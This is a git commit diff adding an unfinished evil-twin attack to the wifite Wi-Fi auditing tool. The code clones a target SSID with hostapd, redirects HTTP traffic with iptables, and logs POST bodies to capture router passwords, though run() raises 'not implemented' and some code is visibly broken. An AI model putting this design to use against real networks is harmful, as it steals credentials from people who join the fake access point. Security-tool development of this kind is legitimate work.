Adding eviltwin tools, updated args.
This commit is contained in:
@@ -148,7 +148,7 @@ class Arguments(object):
|
|||||||
|
|
||||||
|
|
||||||
def _add_eviltwin_args(self, group):
|
def _add_eviltwin_args(self, group):
|
||||||
group.add_argument('-ev',
|
group.add_argument('-et',
|
||||||
'--eviltwin',
|
'--eviltwin',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='use_eviltwin',
|
dest='use_eviltwin',
|
||||||
|
|||||||
143
wifite/attack/eviltwin.py
Normal file
143
wifite/attack/eviltwin.py
Normal file
@@ -0,0 +1,143 @@
|
|||||||
|
#!/usr/bin/python2.7
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
|
from ..model.attack import Attack
|
||||||
|
from ..tools.ifconfig import Ifconfig
|
||||||
|
from ..tools.iptables import Iptables
|
||||||
|
from ..tools.eviltwin_server import EviltwinServer
|
||||||
|
from ..util.color import Color
|
||||||
|
from ..config import Configuration
|
||||||
|
|
||||||
|
class EvilTwinAttack(Attack):
|
||||||
|
def __init__(self, target):
|
||||||
|
super(EvilTwinAttack, self).__init__(target)
|
||||||
|
self.target = target
|
||||||
|
self.success = False
|
||||||
|
self.completed = False
|
||||||
|
self.crack_result = None
|
||||||
|
|
||||||
|
self.crack_result = None
|
||||||
|
self.hostapd = None
|
||||||
|
self.dnsmasq = None
|
||||||
|
|
||||||
|
self.deauther = None # Mdk3Deauther?
|
||||||
|
|
||||||
|
|
||||||
|
def success_callback(self, crack_result):
|
||||||
|
# TODO: Stop all processes & reset IP tables
|
||||||
|
self.crack_result = crack_result
|
||||||
|
self.success = True
|
||||||
|
self.completed = True
|
||||||
|
|
||||||
|
|
||||||
|
def error_callback(self, error_msg):
|
||||||
|
self.completed = True
|
||||||
|
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
# Take interface out of monitor mode
|
||||||
|
raise Exception('Eviltwin attack not implemented yet, see https://github.com/derv82/wifite2/issues/81')
|
||||||
|
|
||||||
|
monitor_interface = Configuration.interface
|
||||||
|
(_, base_interface) = Airmon.stop(monitor_interface)
|
||||||
|
|
||||||
|
Ifconfig.up(base_interface, ['10.0.0.1/24'])
|
||||||
|
|
||||||
|
self.configure_iptables(base_interface)
|
||||||
|
|
||||||
|
self.hostapd = Hostapd(self.target)
|
||||||
|
self.hostapd.start(base_interface)
|
||||||
|
|
||||||
|
server = EviltwinServer()
|
||||||
|
server.serve_forever()
|
||||||
|
|
||||||
|
try:
|
||||||
|
while not self.completed:
|
||||||
|
time.sleep(1)
|
||||||
|
except KeyboardInterrupt as e:
|
||||||
|
self.cleanup()
|
||||||
|
raise e
|
||||||
|
|
||||||
|
if self.success:
|
||||||
|
print status, save
|
||||||
|
return
|
||||||
|
|
||||||
|
if self.error_msg:
|
||||||
|
raise Exception(self.error_msg)
|
||||||
|
|
||||||
|
|
||||||
|
def cleanup(self):
|
||||||
|
'''
|
||||||
|
TODO:
|
||||||
|
* Kill all processes
|
||||||
|
* Delete config files from temp
|
||||||
|
* Reset iptables
|
||||||
|
* Reset interface state?
|
||||||
|
'''
|
||||||
|
pass
|
||||||
|
|
||||||
|
def set_port_forwrading(self, enabled=True):
|
||||||
|
# echo "1" > /proc/sys/net/ipv4/ip_forward
|
||||||
|
# TODO: Are there other ways to do this?
|
||||||
|
with open('/proc/sys/net/ipv4/ip_forward', 'w') as ip_forward:
|
||||||
|
ip_forward.write('1' if enabled else '0')
|
||||||
|
|
||||||
|
|
||||||
|
def configure_iptables(self, base_interface):
|
||||||
|
# iptables -N internet -t mangle
|
||||||
|
Iptables.new_chain('internet', 'mangle')
|
||||||
|
|
||||||
|
#iptables -t mangle -A PREROUTING -j internet
|
||||||
|
Iptables.append('PREROUTING', table='mangle', rules=[
|
||||||
|
'-j', 'internet'
|
||||||
|
])
|
||||||
|
|
||||||
|
#iptables -t mangle -A internet -j MARK --set-mark 99
|
||||||
|
Iptables.append('PREROUTING', table='mangle', rules=[
|
||||||
|
'-j', 'MARK',
|
||||||
|
'--set-mark', '99',
|
||||||
|
])
|
||||||
|
|
||||||
|
#iptables -t nat -A PREROUTING -m mark --mark 99 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1
|
||||||
|
Iptables.append('PREROUTING', table='nat', rules=[
|
||||||
|
'--match', 'mark',
|
||||||
|
'--mark', '99',
|
||||||
|
'--protocol', 'tcp',
|
||||||
|
'--dport', '80',
|
||||||
|
'--jump', 'DNAT',
|
||||||
|
'--to-destination', '10.0.0.1',
|
||||||
|
])
|
||||||
|
|
||||||
|
self.set_port_forwarding(enabled=True)
|
||||||
|
|
||||||
|
#iptables -A FORWARD -i eth0 -o wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT
|
||||||
|
Iptables.append('FORWARD', rules=[
|
||||||
|
'--in-interface', 'eth0',
|
||||||
|
'--out-interface', base_interface,
|
||||||
|
'--match', 'state',
|
||||||
|
'--state', 'ESTABLISHED,RELATED',
|
||||||
|
'--jump', 'ACCEPT',
|
||||||
|
])
|
||||||
|
|
||||||
|
#iptables -A FORWARD -m mark --mark 99 -j REJECT
|
||||||
|
Iptables.append('FORWARD', rules=[
|
||||||
|
'--match', 'mark',
|
||||||
|
'--mark', '99',
|
||||||
|
'--jump', 'REJECT',
|
||||||
|
])
|
||||||
|
|
||||||
|
#iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
|
||||||
|
Iptables.append('FORWARD', rules=[
|
||||||
|
'--in-interface', base_interface,
|
||||||
|
'--out-interface', 'eth0',
|
||||||
|
'--jump', 'ACCEPT',
|
||||||
|
])
|
||||||
|
|
||||||
|
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||||
|
Iptables.append('POSTROUTING', table='nat', rules=[
|
||||||
|
'--out-interface', 'eth0',
|
||||||
|
'--jump', 'MASQUERADE',
|
||||||
|
])
|
||||||
|
|
||||||
67
wifite/tools/dnsmasq.py
Executable file
67
wifite/tools/dnsmasq.py
Executable file
@@ -0,0 +1,67 @@
|
|||||||
|
#!/usr/bin/python2.7
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from .dependency import Dependency
|
||||||
|
from ..util.process import Process
|
||||||
|
from ..config import Configuration
|
||||||
|
|
||||||
|
class Dnsmasq(Dependency):
|
||||||
|
'''Wrapper for dnsmasq program.'''
|
||||||
|
dependency_required = False
|
||||||
|
dependency_name = 'dnsmasq'
|
||||||
|
dependency_url = 'apt-get install dnsmasq'
|
||||||
|
|
||||||
|
def __init__(self, interface):
|
||||||
|
self.interface = interface
|
||||||
|
self.pid = None
|
||||||
|
|
||||||
|
|
||||||
|
def create_config_file(self):
|
||||||
|
config_file = os.path.join(Configuration.temp(), 'dnsmasq.conf')
|
||||||
|
if os.path.exists(config_file):
|
||||||
|
os.remove(config_file)
|
||||||
|
|
||||||
|
with open(config_file, 'w') as config:
|
||||||
|
config.write('interface={}\n'.format(self.interface))
|
||||||
|
config.write('dhcp-range=10.0.0.10,10.0.0.100,8h\n')
|
||||||
|
config.write('dhcp-option=3,10.0.0.1\n')
|
||||||
|
config.write('dhcp-option=6,10.0.0.1\n')
|
||||||
|
config.write('server=8.8.8.8\n')
|
||||||
|
config.write('log-queries\n')
|
||||||
|
config.write('log-dhcp\n')
|
||||||
|
return config_file
|
||||||
|
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
config_file = self.create_config_file()
|
||||||
|
|
||||||
|
# Stop already-running dnsmasq process
|
||||||
|
self.killall()
|
||||||
|
|
||||||
|
# Start new dnsmasq process
|
||||||
|
self.pid = Process([
|
||||||
|
'dnsmasq',
|
||||||
|
'-C', config_file
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
# Kill dnsmasq process
|
||||||
|
if self.pid:
|
||||||
|
self.pid.interrupt()
|
||||||
|
self.killall()
|
||||||
|
# TODO: Wait until dnsmasq is completely stopped.
|
||||||
|
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
# TODO: Check if dnsmasq is still running, if there's any errors in the logs, etc.
|
||||||
|
if self.pid.poll() is not None:
|
||||||
|
# Process stopped
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def killall(self):
|
||||||
|
Process(['killall', 'dnsmasq']).wait()
|
||||||
|
|
||||||
64
wifite/tools/eviltwin_server.py
Normal file
64
wifite/tools/eviltwin_server.py
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
#!/usr/bin/python2.7
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
|
||||||
|
|
||||||
|
class EviltwinServer(HTTPServer):
|
||||||
|
|
||||||
|
def __init__(self, success_callback, port=80):
|
||||||
|
super(EviltwinServer, self).__init__('', port, EviltwinRequestHandler)
|
||||||
|
|
||||||
|
|
||||||
|
def serve_forever(self):
|
||||||
|
super(EviltwinServer, self).serve_forever()
|
||||||
|
|
||||||
|
|
||||||
|
class EviltwinRequestHandler(BaseHTTPRequestHandler):
|
||||||
|
|
||||||
|
def __init__(self, success_callback):
|
||||||
|
self.success_callback = success_callback
|
||||||
|
|
||||||
|
def do_GET(self):
|
||||||
|
request_path = self.path
|
||||||
|
|
||||||
|
# TODO: URL mappings to load specific pages.
|
||||||
|
|
||||||
|
print("\n----- Request Start ----->\n")
|
||||||
|
print(request_path)
|
||||||
|
print(self.headers)
|
||||||
|
print("<----- Request End -----\n")
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header("Set-Cookie", "foo=bar")
|
||||||
|
|
||||||
|
def do_POST(self):
|
||||||
|
request_path = self.path
|
||||||
|
|
||||||
|
# TODO: If path includes router password, call self.success_callback
|
||||||
|
# TODO: Verify router passwords via separate interface?
|
||||||
|
|
||||||
|
print("\n----- Request Start ----->\n")
|
||||||
|
print(request_path)
|
||||||
|
|
||||||
|
request_headers = self.headers
|
||||||
|
content_length = request_headers.getheaders('content-length')
|
||||||
|
length = int(content_length[0]) if content_length else 0
|
||||||
|
|
||||||
|
print(request_headers)
|
||||||
|
print(self.rfile.read(length))
|
||||||
|
print("<----- Request End -----\n")
|
||||||
|
|
||||||
|
self.send_response(200)
|
||||||
|
|
||||||
|
do_PUT = do_POST
|
||||||
|
do_DELETE = do_GET
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parser = OptionParser()
|
||||||
|
parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n"
|
||||||
|
"Run:\n\n"
|
||||||
|
" reflect")
|
||||||
|
(options, args) = parser.parse_args()
|
||||||
|
|
||||||
|
main()
|
||||||
74
wifite/tools/hostapd.py
Executable file
74
wifite/tools/hostapd.py
Executable file
@@ -0,0 +1,74 @@
|
|||||||
|
#!/usr/bin/python2.7
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
import re
|
||||||
|
import os
|
||||||
|
|
||||||
|
from .dependency import Dependency
|
||||||
|
from ..config import Configuration
|
||||||
|
|
||||||
|
class Hostapd(Dependency):
|
||||||
|
process_name = 'hostapd'
|
||||||
|
|
||||||
|
dependency_required = False
|
||||||
|
dependency_name = process_name
|
||||||
|
dependency_url = 'apt-get install hostapd'
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def exists(cls):
|
||||||
|
return Process.exists(cls.process_name)
|
||||||
|
|
||||||
|
|
||||||
|
def __init__(self, target, interface):
|
||||||
|
self.target = target
|
||||||
|
self.interface = interface
|
||||||
|
self.pid = None
|
||||||
|
# Save hostapd state?
|
||||||
|
|
||||||
|
|
||||||
|
def create_config_file(self):
|
||||||
|
if not self.target.essid_known:
|
||||||
|
raise Exception('Cannot start hostapd if target has unknown SSID')
|
||||||
|
|
||||||
|
config_file = os.path.abspath(os.path.join(Configuration.temp(), 'hostapd.conf'))
|
||||||
|
|
||||||
|
with open(config_file, 'w') as config:
|
||||||
|
config.write('driver=nl80211\n')
|
||||||
|
config.write('ssid={}\n'.format(self.target.essid))
|
||||||
|
config.write('hw_mode=g\n') # TODO: support 5ghz
|
||||||
|
config.write('channel={}\n'.format(self.target.channel))
|
||||||
|
config.write('logger_syslog=-1\n')
|
||||||
|
config.write('logger_syslog_level=2\n')
|
||||||
|
|
||||||
|
return config_file
|
||||||
|
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
config_file = self.create_config_file()
|
||||||
|
|
||||||
|
self.killall()
|
||||||
|
|
||||||
|
self.pid = Process([
|
||||||
|
self.process_name,
|
||||||
|
'-C', config_file,
|
||||||
|
'-i', self.interface
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
if self.pid:
|
||||||
|
self.pid.interrupt()
|
||||||
|
self.killall()
|
||||||
|
# TODO: Wait until hostapd is completely stopped.
|
||||||
|
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
# TODO: Check if hostapd is still running, if there's any errors in the logs, etc.
|
||||||
|
if self.pid.poll() is not None:
|
||||||
|
# Process stopped
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def killall(self):
|
||||||
|
Process(['killall', self.process_name]).wait()
|
||||||
|
|
||||||
47
wifite/tools/iptables.py
Normal file
47
wifite/tools/iptables.py
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
#!/usr/bin/python2.7
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
import re
|
||||||
|
|
||||||
|
from .dependency import Dependency
|
||||||
|
|
||||||
|
class Iptables(Dependency):
|
||||||
|
process_name = 'iptables'
|
||||||
|
|
||||||
|
dependency_required = False
|
||||||
|
dependency_name = process_name
|
||||||
|
dependency_url = 'apt-get install iptables'
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def exists(cls):
|
||||||
|
return Process.exists(cls.process_name)
|
||||||
|
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def __exec(cls, args, expect_return_code=0):
|
||||||
|
if type(args) is str:
|
||||||
|
args = args.split(' ')
|
||||||
|
|
||||||
|
command = [cls.process_name] + args
|
||||||
|
|
||||||
|
pid = Process(command)
|
||||||
|
pid.wait()
|
||||||
|
if expect_return_code and pid.poll() != 0:
|
||||||
|
raise Exception('Error executing %s:\n%s\n%s' % (' '.join(command), pid.stdout(), pid.stderr()))
|
||||||
|
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def new_chain(cls, chain_name, table):
|
||||||
|
command = ['-N', name, '-t', table]
|
||||||
|
cls.__exec(command)
|
||||||
|
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def append(cls, chain, table=None, rules=[]):
|
||||||
|
args = []
|
||||||
|
if table is not None:
|
||||||
|
args.extend(['-t', table])
|
||||||
|
args.extend(['-A', chain])
|
||||||
|
args.extend(rules)
|
||||||
|
cls.__exec(args)
|
||||||
|
|
||||||
@@ -14,6 +14,7 @@ from .util.input import raw_input
|
|||||||
from .attack.wep import AttackWEP
|
from .attack.wep import AttackWEP
|
||||||
from .attack.wpa import AttackWPA
|
from .attack.wpa import AttackWPA
|
||||||
from .attack.wps import AttackWPS
|
from .attack.wps import AttackWPS
|
||||||
|
from .attack.eviltwin import EvilTwinAttack
|
||||||
from .model.result import CrackResult
|
from .model.result import CrackResult
|
||||||
from .model.handshake import Handshake
|
from .model.handshake import Handshake
|
||||||
|
|
||||||
@@ -158,7 +159,7 @@ class Wifite(object):
|
|||||||
# TODO: Check if Eviltwin attack is selected.
|
# TODO: Check if Eviltwin attack is selected.
|
||||||
|
|
||||||
if Configuration.use_eviltwin:
|
if Configuration.use_eviltwin:
|
||||||
pass
|
attack = EvilTwinAttack(t)
|
||||||
|
|
||||||
elif 'WEP' in t.encryption:
|
elif 'WEP' in t.encryption:
|
||||||
attack = AttackWEP(t)
|
attack = AttackWEP(t)
|
||||||
|
|||||||
Reference in New Issue
Block a user